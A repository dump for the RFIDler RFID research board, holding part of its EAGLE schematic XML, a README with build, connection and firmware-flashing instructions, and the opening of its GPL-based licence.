pin=\"TP\"/>\n</segment>\n</net>\n<net name=\"DOOR_RELAY\" class=\"0\">\n<segment>\n<pinref part=\"R32\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"-106.68\" y1=\"220.98\" x2=\"-104.14\" y2=\"220.98\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"-101.6\" y=\"220.98\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"-106.68\" y=\"220.98\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AETXCLK/SCL1/INT3/RA14\"/>\n<wire x1=\"-43.18\" y1=\"104.14\" x2=\"-50.8\" y2=\"104.14\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"104.14\"/>\n<label x=\"-68.58\" y=\"104.14\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"35.56\" x2=\"274.32\" y2=\"35.56\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"241.3\" y=\"35.814\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"36\"/>\n<junction x=\"274.32\" y=\"35.56\"/>\n</segment>\n</net>\n<net name=\"N$30\" class=\"0\">\n<segment>\n<pinref part=\"OPTO_MOS2\" gate=\"G$1\" pin=\"NO\"/>\n<pinref part=\"JP17\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"-134.62\" y1=\"220.98\" x2=\"-144.78\" y2=\"220.98\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-134.62\" y=\"220.98\"/>\n<junction x=\"-144.78\" y=\"220.98\"/>\n</segment>\n</net>\n<net name=\"N$31\" class=\"0\">\n<segment>\n<pinref part=\"OPTO_MOS2\" gate=\"G$1\" pin=\"COM\"/>\n<wire x1=\"-134.62\" y1=\"226.06\" x2=\"-142.24\" y2=\"226.06\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-142.24\" y1=\"226.06\" x2=\"-142.24\" y2=\"223.52\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"JP17\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-142.24\" y1=\"223.52\" x2=\"-144.78\" y2=\"223.52\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-134.62\" y=\"226.06\"/>\n<junction x=\"-144.78\" y=\"223.52\"/>\n</segment>\n</net>\n<net name=\"RAW_READER_OUT\" class=\"0\">\n<segment>\n<pinref part=\"R15\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"93.98\" y1=\"-76.2\" x2=\"101.6\" y2=\"-76.2\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"101.6\" y1=\"-76.2\" x2=\"101.6\" y2=\"-83.82\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"96.52\" y1=\"-88.9\" x2=\"101.6\" y2=\"-88.9\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"101.6\" y1=\"-88.9\" x2=\"101.6\" y2=\"-83.82\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"93.98\" y=\"-76.2\"/>\n<junction x=\"101.6\" y=\"-83.82\"/>\n<pinref part=\"U4\" gate=\"A\" pin=\"OUT\"/>\n<junction x=\"96.52\" y=\"-88.9\"/>\n<wire x1=\"261.62\" y1=\"-127\" x2=\"264.16\" y2=\"-127\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U4\" gate=\"D\" pin=\"+IN\"/>\n<junction x=\"264.16\" y=\"-127\"/>\n<wire x1=\"261.62\" y1=\"-127\" x2=\"261.62\" y2=\"-83.82\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U4\" gate=\"C\" pin=\"-IN\"/>\n<wire x1=\"261.62\" y1=\"-83.82\" x2=\"264.16\" y2=\"-83.82\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"261.62\" y1=\"-83.82\" x2=\"101.6\" y2=\"-83.82\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"264.16\" y=\"-83.82\"/>\n<junction x=\"261.62\" y=\"-83.82\"/>\n<wire x1=\"101.6\" y1=\"-76.2\" x2=\"101.6\" y2=\"-55.88\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"101.6\" y1=\"-55.88\" x2=\"109.22\" y2=\"-55.88\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"109.22\" y1=\"-55.88\" x2=\"116.84\" y2=\"-55.88\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"101.6\" y=\"-76.2\"/>\n<pinref part=\"TP10\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"109.22\" y=\"-55.88\"/>\n<pinref part=\"JP12\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"116.84\" y1=\"-55.88\" x2=\"132.08\" y2=\"-55.88\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"116.84\" y=\"-55.88\"/>\n<pinref part=\"J4\" gate=\"1\" pin=\"2\"/>\n<junction x=\"132.08\" y=\"-55.88\"/>\n</segment>\n</net>\n<net name=\"N$35\" class=\"0\">\n<segment>\n<pinref part=\"R17\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"142.24\" y1=\"-55.88\" x2=\"149.86\" y2=\"-55.88\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"149.86\" y=\"-55.88\"/>\n<pinref part=\"J4\" gate=\"1\" pin=\"1\"/>\n<junction x=\"142.24\" y=\"-55.88\"/>\n</segment>\n</net>\n<net name=\"N$36\" class=\"0\">\n<segment>\n<wire x1=\"-88.9\" y1=\"167.64\" x2=\"-63.5\" y2=\"167.64\" width=\"0.1524\" layer=\"91\" style=\"dashdot\"/>\n<wire x1=\"-63.5\" y1=\"167.64\" x2=\"-63.5\" y2=\"137.16\" width=\"0.1524\" layer=\"91\" style=\"dashdot\"/>\n<wire x1=\"-63.5\" y1=\"137.16\" x2=\"-88.9\" y2=\"137.16\" width=\"0.1524\" layer=\"91\" style=\"dashdot\"/>\n<wire x1=\"-88.9\" y1=\"137.16\" x2=\"-88.9\" y2=\"167.64\" width=\"0.1524\" layer=\"91\" style=\"dashdot\"/>\n</segment>\n</net>\n<net name=\"RC13\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"SOSCI/CN1/RC13\"/>\n<junction x=\"-43.18\" y=\"35.56\"/>\n<label x=\"-58.42\" y=\"35.56\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"X2\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"C35\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-83.82\" y1=\"17.78\" x2=\"-83.82\" y2=\"20.32\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-83.82\" y1=\"20.32\" x2=\"-73.66\" y2=\"20.32\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-73.66\" y1=\"20.32\" x2=\"-73.66\" y2=\"35.56\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-73.66\" y1=\"35.56\" x2=\"-43.18\" y2=\"35.56\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-83.82\" y=\"17.78\"/>\n<junction x=\"-83.82\" y=\"20.32\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"45.974\" x2=\"329.692\" y2=\"45.974\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"326.644\" y=\"46.228\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"32\"/>\n<wire x1=\"329.692\" y1=\"45.974\" x2=\"319.024\" y2=\"45.974\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"45.974\"/>\n</segment>\n</net>\n<net name=\"LC_COIL\" class=\"0\">\n<segment>\n<pinref part=\"C31\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C32\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"50.8\" y1=\"-198.12\" x2=\"50.8\" y2=\"-182.88\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"50.8\" y1=\"-182.88\" x2=\"53.34\" y2=\"-182.88\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"50.8\" y=\"-198.12\"/>\n<junction x=\"53.34\" y=\"-182.88\"/>\n<junction x=\"50.8\" y=\"-182.88\"/>\n<wire x1=\"50.8\" y1=\"-182.88\" x2=\"33.02\" y2=\"-182.88\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"OPTO_MOS3\" gate=\"G$1\" pin=\"NO\"/>\n<wire x1=\"33.02\" y1=\"-182.88\" x2=\"25.4\" y2=\"-182.88\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"33.02\" y1=\"-185.42\" x2=\"33.02\" y2=\"-182.88\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"L1\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"JP2\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"17.78\" y1=\"-172.72\" x2=\"17.78\" y2=\"-175.26\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"17.78\" y1=\"-175.26\" x2=\"25.4\" y2=\"-175.26\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"25.4\" y1=\"-175.26\" x2=\"25.4\" y2=\"-182.88\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"25.4\" y=\"-182.88\"/>\n<junction x=\"17.78\" y=\"-172.72\"/>\n<junction x=\"33.02\" y=\"-185.42\"/>\n<junction x=\"33.02\" y=\"-182.88\"/>\n</segment>\n</net>\n<net name=\"N$3\" class=\"0\">\n<segment>\n<pinref part=\"OPTO_MOS3\" gate=\"G$1\" pin=\"A\"/>\n<pinref part=\"R42\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"43.18\" y1=\"-175.26\" x2=\"43.18\" y2=\"-185.42\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"43.18\" y=\"-175.26\"/>\n<junction x=\"43.18\" y=\"-185.42\"/>\n</segment>\n</net>\n<net name=\"N$4\" class=\"0\">\n<segment>\n<pinref part=\"OPTO_MOS3\" gate=\"G$1\" pin=\"COM\"/>\n<pinref part=\"C36\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"33.02\" y1=\"-190.5\" x2=\"33.02\" y2=\"-198.12\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"33.02\" y=\"-190.5\"/>\n</segment>\n</net>\n<net name=\"N$11\" class=\"0\">\n<segment>\n<pinref part=\"JP19\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"5.08\" y=\"-198.12\"/>\n<wire x1=\"5.08\" y1=\"-182.88\" x2=\"5.08\" y2=\"-198.12\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP43\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"5.08\" y=\"-182.88\"/>\n<wire x1=\"10.16\" y1=\"-182.88\" x2=\"5.08\" y2=\"-182.88\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"L1\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"JP2\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"15.24\" y1=\"-172.72\" x2=\"15.24\" y2=\"-175.26\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"15.24\" y1=\"-175.26\" x2=\"10.16\" y2=\"-175.26\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"10.16\" y1=\"-175.26\" x2=\"10.16\" y2=\"-182.88\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"10.16\" y=\"-182.88\"/>\n<junction x=\"15.24\" y=\"-172.72\"/>\n</segment>\n</net>\n<net name=\"OLDOPB+\" class=\"0\">\n<segment>\n<label x=\"99.06\" y=\"-180.34\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"R40\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"R41\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"76.2\" y1=\"-175.26\" x2=\"78.74\" y2=\"-175.26\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R37\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"68.58\" y1=\"-182.88\" x2=\"68.58\" y2=\"-175.26\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"68.58\" y1=\"-175.26\" x2=\"76.2\" y2=\"-175.26\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C32\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"60.96\" y=\"-182.88\"/>\n<wire x1=\"60.96\" y1=\"-182.88\" x2=\"68.58\" y2=\"-182.88\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"68.58\" y1=\"-182.88\" x2=\"68.58\" y2=\"-195.58\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"68.58\" y=\"-182.88\"/>\n<junction x=\"78.74\" y=\"-175.26\"/>\n<junction x=\"76.2\" y=\"-175.26\"/>\n<junction x=\"68.58\" y=\"-182.88\"/>\n<pinref part=\"TP44\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"68.58\" y1=\"-182.88\" x2=\"111.76\" y2=\"-182.88\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U4\" gate=\"B\" pin=\"+IN\"/>\n</segment>\n</net>\n<net name=\"RA3\" class=\"0\">\n<segment>\n<wire x1=\"259.08\" y1=\"43.18\" x2=\"274.32\" y2=\"43.18\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"43.434\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"33\"/>\n<junction x=\"274.32\" y=\"43.18\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"SDA2/RA3\"/>\n<wire x1=\"-43.18\" y1=\"121.92\" x2=\"-50.8\" y2=\"121.92\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"121.92\"/>\n<label x=\"-58.42\" y=\"121.92\" size=\"1.778\" layer=\"95\"/>\n</segment>\n</net>\n<net name=\"N$38\" class=\"0\">\n<segment>\n<pinref part=\"R45\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"R14\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"63.5\" y1=\"-91.44\" x2=\"60.96\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"63.5\" y=\"-91.44\"/>\n</segment>\n</net>\n</nets>\n</sheet>\n</sheets>\n<errors>\n<approved hash=\"102,1,33.02,236.22,+5V,VBUS,,,,\"/>\n<approved hash=\"102,1,68.58,-103.886,VCC,VBUS,,,,\"/>\n<approved hash=\"102,1,350.52,-93.98,+5V,VBUS,,,,\"/>\n<approved hash=\"102,1,289.56,-98.552,+5V,VBUS,,,,\"/>\n<approved hash=\"102,1,195.58,-93.98,+5V,VBUS,,,,\"/>\n<approved hash=\"102,1,-48.26,157.48,+3V3,3V3,,,,\"/>\n<approved hash=\"102,1,182.88,53.34,+3V3,3V3,,,,\"/>\n<approved hash=\"102,1,-142.24,149.86,3.3V,3V3,,,,\"/>\n<approved hash=\"102,1,-142.24,205.74,3.3V,3V3,,,,\"/>\n<approved hash=\"102,1,-142.24,177.8,3.3V,3V3,,,,\"/>\n<approved hash=\"102,1,-22.86,231.14,3.3V,3V3,,,,\"/>\n<approved hash=\"102,1,-167.64,106.68,3.3V,3V3,,,,\"/>\n<approved hash=\"102,1,306.324,30.734,3.3V,3V3,,,,\"/>\n<approved hash=\"102,1,311.404,28.194,5V,VBUS,,,,\"/>\n<approved hash=\"102,1,248.92,30.48,3.3V,3V3,,,,\"/>\n<approved hash=\"102,1,254,27.94,5V,VBUS,,,,\"/>\n<approved hash=\"102,1,88.9,231.14,3.3V,3V3,,,,\"/>\n<approved hash=\"102,1,139.7,238.76,5V,VBUS,,,,\"/>\n<approved hash=\"102,1,-40.64,-58.42,+5V,VBUS,,,,\"/>\n<approved hash=\"102,1,-60.96,134.62,+3V3,3V3,,,,\"/>\n<approved hash=\"102,1,314.96,256.54,3.3V,3V3,,,,\"/>\n<approved hash=\"102,1,83.82,-162.56,+5V,VBUS,,,,\"/>\n<approved hash=\"104,1,289.56,-106.68,U2,VCC,VBUS,,,\"/>\n<approved hash=\"104,1,17.78,231.14,U4P,V+,VBUS,,,\"/>\n<approved hash=\"104,1,17.78,215.9,U4P,V-,GND,,,\"/>\n<approved hash=\"104,1,177.8,-106.68,U1,VDD,VBUS,,,\"/>\n<approved hash=\"104,1,-43.18,165.1,U6,AVDD,3V3,,,\"/>\n<approved hash=\"104,1,-43.18,162.56,U6,VDD_2,3V3,,,\"/>\n<approved hash=\"104,1,-43.18,160.02,U6,VDD_3,3V3,,,\"/>\n<approved hash=\"104,1,-43.18,157.48,U6,VDD_4,3V3,,,\"/>\n<approved hash=\"104,1,-43.18,154.94,U6,VDD_5,3V3,,,\"/>\n<approved hash=\"104,1,-43.18,152.4,U6,VDD_6,3V3,,,\"/>\n<approved hash=\"104,1,-43.18,149.86,U6,VDD,3V3,,,\"/>\n<approved hash=\"104,1,-43.18,134.62,U6,VUSB,3V3,,,\"/>\n<approved hash=\"104,1,129.54,233.68,U8,IN,VBUS,,,\"/>\n<approved hash=\"104,1,109.22,228.6,U8,OUT1,3V3,,,\"/>\n<approved hash=\"202,1,104.14,264.16,TP47,TP,,,,\"/>\n<approved hash=\"202,1,111.76,264.16,TP48,TP,,,,\"/>\n<approved hash=\"202,1,121.92,264.16,TP49,TP,,,,\"/>\n<approved hash=\"202,1,132.08,264.16,TP50,TP,,,,\"/>\n<approved hash=\"206,1,-83.82,-58.42,CLOCK,,,,,\"/>\n<approved hash=\"206,1,-83.82,-60.96,CLOCK,,,,,\"/>\n<approved hash=\"206,1,-83.82,-63.5,CLOCK,,,,,\"/>\n<approved hash=\"206,1,-83.82,-66.04,CLOCK,,,,,\"/>\n<approved hash=\"105,1,-76.2,167.64,N$36,,,,,\"/>\n<approved hash=\"113,1,-123.332,-77.2837,JP11,,,,,\"/>\n<approved hash=\"113,1,236.22,-125.73,JP5,,,,,\"/>\n<approved hash=\"113,1,127,-125.73,JP4,,,,,\"/>\n<approved hash=\"113,1,285.003,-127.699,JP6,,,,,\"/>\n<approved hash=\"113,1,285.003,-104.839,JP7,,,,,\"/>\n<approved hash=\"113,1,335.225,-83.1215,JP10,,,,,\"/>\n<approved hash=\"113,1,324.597,-83.1215,JP9,,,,,\"/>\n<approved hash=\"113,1,369.555,-93.98,JP8,,,,,\"/>\n<approved hash=\"113,1,-158.157,192.651,BOOTLOADER,,,,,\"/>\n<approved hash=\"113,1,-157.48,164.711,USER,,,,,\"/>\n<approved hash=\"113,1,-157.48,136.771,RESET,,,,,\"/>\n<approved hash=\"113,1,272.457,152.595,JP16,,,,,\"/>\n<approved hash=\"113,1,151.723,230.945,JP18,,,,,\"/>\n<approved hash=\"113,1,503.749,105.541,SIMVPP,,,,,\"/>\n<approved hash=\"113,1,274.557,76.3312,JP14,,,,,\"/>\n<approved hash=\"113,1,329.929,76.5852,JP15,,,,,\"/>\n<approved hash=\"113,1,-67.9027,-114.105,TUNE,,,,,\"/>\n<approved hash=\"113,1,-147.997,223.715,JP17,,,,,\"/>\n<approved hash=\"113,1,244.915,-153.077,JP1,,,,,\"/>\n<approved hash=\"113,1,-1.41165,-201.744,JP19,,,,,\"/>\n<approved hash=\"113,1,14.1563,-167.047,JP2,,,,,\"/>\n<approved hash=\"113,1,116.142,-55.9351,JP12,,,,,\"/>\n</errors>\n</schematic>\n</drawing>\n<compatibility>\n<note version=\"6.3\" minversion=\"6.2.2\" severity=\"warning\">\nSince Version 6.2.2 text objects can contain more than one line,\nwhich will not be processed correctly with this version.\n</note>\n</compatibility>\n</eagle>\n"
  },
  {
    "path": "README.md",
    "content": "# RFIDler\n\n\n## Firmware\n\nThe 'firmware' directory contains code for the dev platform(s).\nCurrently that is Pic32, but we will add a new section if and when required.\n\n## Hardware\n\nA fully built RFIDler board can be purchased here: [http://rfidiot.org/#Hardware](http://rfidiot.org/#Hardware)\n\n### Pic32\n\nThe main microcontroller is a [Microchip PIC32MX795F512L](http://www.microchip.com/wwwproducts/Devices.aspx?dDocName=en545660)\n\n## Software Build environment\n\nThe project was developed in Mplab-X IDE V3.20 under Linux, but can also be built under Windows & Mac:\n\n* [Linux] (http://www.microchip.com/mplabx-ide-linux-installer)\n\n* [Windows] (http://www.microchip.com/mplabx-ide-windows-installer)\n\n* [Mac] (http://www.microchip.com/mplabx-ide-osx-installer)\n\nThe compiler used was the free version of Microchip's XC32 V1.40:\n\n* [Linux] (http://www.microchip.com/mplabxc32linux)\n\n* [Windows] (http://www.microchip.com/mplabxc32windows)\n\n* [Mac] (http://www.microchip.com/mplabxc32osx)\n\nUSB stack and peripheral support is provided by [Microchip Application Library v2013-06-15] (http://www.microchip.com/pagehandler/en-us/devtools/mla/archives.html):\n\n* [Linux](http://ww1.microchip.com/downloads/en/softwarelibrary/microchip-libraries-for-applications-v2013-06-15-linux-installer.run)\n  - Install to /opt/microchip/microchip_solutions_v2013-06-15/\n  - Note: if the installer fails to start, try adding the run-time option '--mode text'\n* [Windows](http://ww1.microchip.com/downloads/en/softwarelibrary/microchip-libraries-for-applications-v2013-06-15-windows-installer.exe)\n  - Install to installer default location\n* [Mac](http://ww1.microchip.com/downloads/en/softwarelibrary/microchip-libraries-for-applications-v2013-06-15-osx-installer.dmg)\n  - Install to installer default location\n\nand [PIC32 Peripheral Library] (http://www.microchip.com/SWLibraryWeb/product.aspx?product=PIC32%20Peripheral%20Library):\n\n* [Linux](http://ww1.microchip.com/downloads/en/DeviceDoc/PIC32%20Legacy%20Peripheral%20Libraries%20Linux.tar)\n  - Install to /opt/microchip/xc32/v1.40\n* [Windows](http://ww1.microchip.com/downloads/en/DeviceDoc/PIC32%20Legacy%20Peripheral%20Libraries.zip)\n  - Install to installer default location\n* [Mac](http://ww1.microchip.com/downloads/en/DeviceDoc/PIC32%20Legacy%20Peripheral%20Libraries%20MACOS.zip)\n  - Install to installer default location\n\n### Bootloader\n\nWhen the Bootloader is running the RFIDler appears on the USB as a HID, and waits for new RFIDler firmware to install in Flash memory.\nThere are several ways of entering the Bootloader, see \"Loading new Firmware\" section below.\n\nUSB HID Bootloader is provided by the [UBW32 project](http://www.schmalzhaus.com/UBW32/FW/HIDBoot.X/HIDBoot.X.zip)\n\nFor convenience, a copy of the bootloader hex and an MPLAB hex load project is provided in `firmware/Pic32/HIDBoot_MX795_Hex_Load.X`\n\nThe Bootloader client, mphidflash, runs on Linux/Mac/Windows and transmits & verifies the new firmware.\n\nhttps://github.com/AdamLaurie/mphidflash\n\n#### Notes\n\nmphidflash v1.3 has some known bugs where for some ROM binaries programming fails and a verification error is reported.\n\t\nIf you hit this problem check for a newer release of mphidflash. Pre-compiled executables for all platforms are available [here](https://github.com/AdamLaurie/mphidflash)\n\n### Software Build\n\nInstall packages as above.\n\nClone this repo to your local hard disk.\n\n1. Start MPLAB X IDE\n2. Choose `File/Open Project/`\n3. Browse to RFIDler.X and click 'Open Project'\n\n#### Windows\n\nIf you are running Windows, you will need to change the default Linux library to the local Windows version:\n\nUPDATE NEEDED TO THIS SECTION!\n\n(There are bugs in MPLAB X and GNU make such that paths to libraries containing spaces are not always processed correctly, \nand the default install path on Windows contains spaces so making the copy is the simplest solution.)\n\n#### Mac OS X\n\nIf you are running Mac OS X, you will need to change the default Linux library to the local Mac version:\n\nUPDATE NEEDED TO THIS SECTION!\n\n### Connections\n\nThe device can be powered via the USB port, and, if connected to a PC, will provide a\nmanagement CLI/API via USB-Serial CDC at 115200 baud (8 bit, No Parity, 1 Stop Bit, No Handshaking/Flow Control).\n\nThe CLI/API is also accessible via 3.3v or 5v UART on pins RG7 (UART3 RX) and RG8 (UART3 TX), also at 115200 baud.\n\nWhen you connect with USB for the first time, you may need to perform some configuration steps:\n\n#### Linux\n\nCreate a rule file for UDEV to allow non-root access to the file, and also disable modem manager access. An appropriate file can be found in the MPLAB project\nunder the \"Linux Support\" tab. Copy this file to `/etc/udev/rules.d` and run `sudo udevadm control --reload-rules`\n\nThis file can also be found in this repo at: linux-support/71-rfidler-lf-cdc-blacklist.rules\n\n#### Windows\n\nWindows drivers can be found in the 'Windows Driver' tab of the MPLAB project\n\n\nTo connect, any serial terminal emulator should work, but we recommend:\n\n* Linux: minicom (`sudo apt-get install minicom`)\n* Windows: [PuTTY](http://www.chiark.greenend.org.uk/~sgtatham/putty/)\n* Mac OS X: minicom (install: [brew](https://brew.sh/) minicom) or SerialTools (free from the App Store)\n\nExample linux connection:\n\n\tminicom -D /dev/ttyACM1 -b 115200 \n\nOnce connected, hit `<ENTER>` to see the HELP screen and switch to CLI mode, or send commands to remain in API mode.\n\nIn API mode, all commands are as per CLI mode, and will be ACK'd by a single '.' or NACK'd by '!' if command fails\nor '?' if it is not recognised. Other output is command dependant.\n\n## Loading new Firmware\n\nEnter bootloader mode \n\n* either from the menu (`BL`)\n* _or_ by holding down button `BOOTLOADER` while simultaneously \n\t* plugging in the USB cable \n\t* _or_ pressing the 'RESET' button.\n\nLED6 and LED5 will show stable orange light to confirm bootloader mode has been entered.\n\n\t#~/tools/mphidflash-1.6/binaries/mphidflash-1.6-linux-64 -r -w firmware/Pic32/RFIDler.X/dist/debug/production/RFIDler.X.production.hex \n\tUSB HID device found: 503808 bytes free\n\tDevice family: PIC32\n\n\tErasing...\n\tWriting hex file 'RFIDler.X.production.hex':......[...removed for brevity...]\n\tVerifying:.... [...removed for brevity...]\n\tResetting device...\n\nYou can verify the flashing via `version`\n\n\t*RFIDler> version\n\t0071-beta\n\t\n\n### Linux:\n\n`dmesg` should show the following:\n\n\tgeneric-usb 0003:04D8:003C.0003: hiddev0,hidraw1: USB HID v1.11 Device [Microchip Technology Inc. USB HID Bootloader] on usb-0000:00:1d.0-1.1.2.1/input0\n\nTo flash the code, `cd` to the top of the repo and run:\n\n\t\tmphidflash -r -w firmware/Pic32/RFIDler.X/dist/default/production/RFIDler.X.production.hex\n\nThe device will be programmed and will then reboot. `dmesg` should show:\n\n\tusb 2-1.1.2.1: USB disconnect, device number 19\n\tusb 2-1.1.2.1: new full speed USB device number 20 using ehci_hcd\n\tcdc_acm 2-1.1.2.1:1.0: This device cannot do calls on its own. It is not a modem.\n\tcdc_acm 2-1.1.2.1:1.0: ttyACM3: USB ACM device\n\n### Windows\n\n???\n\n### Mac OS X\n\n## Install mphidflash from source\nOption 1, v1.6:\n```shell\ncurl https://github.com/AdamLaurie/mphidflash/blob/master/dist/mphidflash-1.6-src.tar.gz > mphidflash1-6.tar.gz\nmkdir mphidflash1-6\ntar -zxvf mphidflash1-6.tar.gz -C mphidflash1-6\ncd mphidflash1-6\nmkdir binaries\nsudo make install64\n```\n\nOption 2, latest:\n```shell\ngit clone https://github.com/AdamLaurie/mphidflash.git\ncd mphidflash\nsudo make install64\n```\n\n## Flash device\n```shell\ncd #RFIDler repo\nmphidflash -r -w firmware/Pic32/RFIDler.X/dist/debug/production/RFIDler.X.production.hex\n```\n\n\n## See Also\n\n(python shell command line interfacee)[python/README.md]\n"
  },
  {
    "path": "firmware/Pic32/COPYING",
    "content": "/*****************************************************************************\n * A copy of the GNU GPL is appended to this file.                           *\n *                                                                           *\n * This licence is based on the nmap licence, and we express our gratitude   *\n * for the work that went into producing it. There is no other connection    *\n * between RFIDler and nmap either expressed or implied.                     *\n *                                                                           *\n ********************** IMPORTANT RFIDler LICENSE TERMS **********************\n *                                                                           *\n *                                                                           *\n * All references to RFIDler herein imply all it's derivatives, namely:      *\n *                                                                           *\n * o RFIDler-LF Standard                                                     *\n * o RFIDler-LF Lite                                                         *\n * o RFIDler-LF Nekkid                                                       *\n *                                                                           *\n *                                                                           *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                               *\n *                                                                           *\n * This program is free software; you may redistribute and/or modify it      *\n * under the terms of the GNU General Public License as published by the     *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE     *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your     *\n * right to use, modify, and redistribute this software under certain        *\n * conditions.  If you wish to embed RFIDler technology into proprietary     *\n * software or hardware, we sell alternative licenses                        *\n * (contact sales@aperturelabs.com).                                         *\n *                                                                           *\n * Note that the GPL places important restrictions on \"derivative works\",    *\n * yet it does not provide a detailed definition of that term.  To avoid     *\n * misunderstandings, we interpret that term as broadly as copyright law     *\n * allows.  For example, we consider an application to constitute a          *\n * derivative work for the purpose of this license if it does any of the     *\n * following with any software or content covered by this license            *\n * (\"Covered Software\"):                                                     *\n *                                                                           *\n * o Integrates source code from Covered Software.                           *\n *                                                                           *\n * o Is designed specifically to execute Covered Software and parse the      *\n * results (as opposed to typical shell or execution-menu apps, which will   *\n * execute anything you tell them to).                                       *\n *                                                                           *\n * o Includes Covered Software in a proprietary executable installer.  The   *\n * installers produced by InstallShield are an example of this.  Including   *\n * RFIDler with other software in compressed or archival form does not       *\n * trigger this provision, provided appropriate open source decompression    *\n * or de-archiving software is widely available for no charge.  For the      *\n * purposes of this license, an installer is considered to include Covered   *\n * Software even if it actually retrieves a copy of Covered Software from    *\n * another source during runtime (such as by downloading it from the         *\n * Internet).                                                                *\n *                                                                           *\n * o Links (statically or dynamically) to a library which does any of the    *\n * above.                                                                    *\n *                                                                           *\n * o Executes a helper program, module, or script to do any of the above.    *\n *                                                                           *\n * This list is not exclusive, but is meant to clarify our interpretation    *\n * of derived works with some common examples.  Other people may interpret   *\n * the plain GPL differently, so we consider this a special exception to     *\n * the GPL that we apply to Covered Software.  Works which meet any of       *\n * these conditions must conform to all of the terms of this license,        *\n * particularly including the 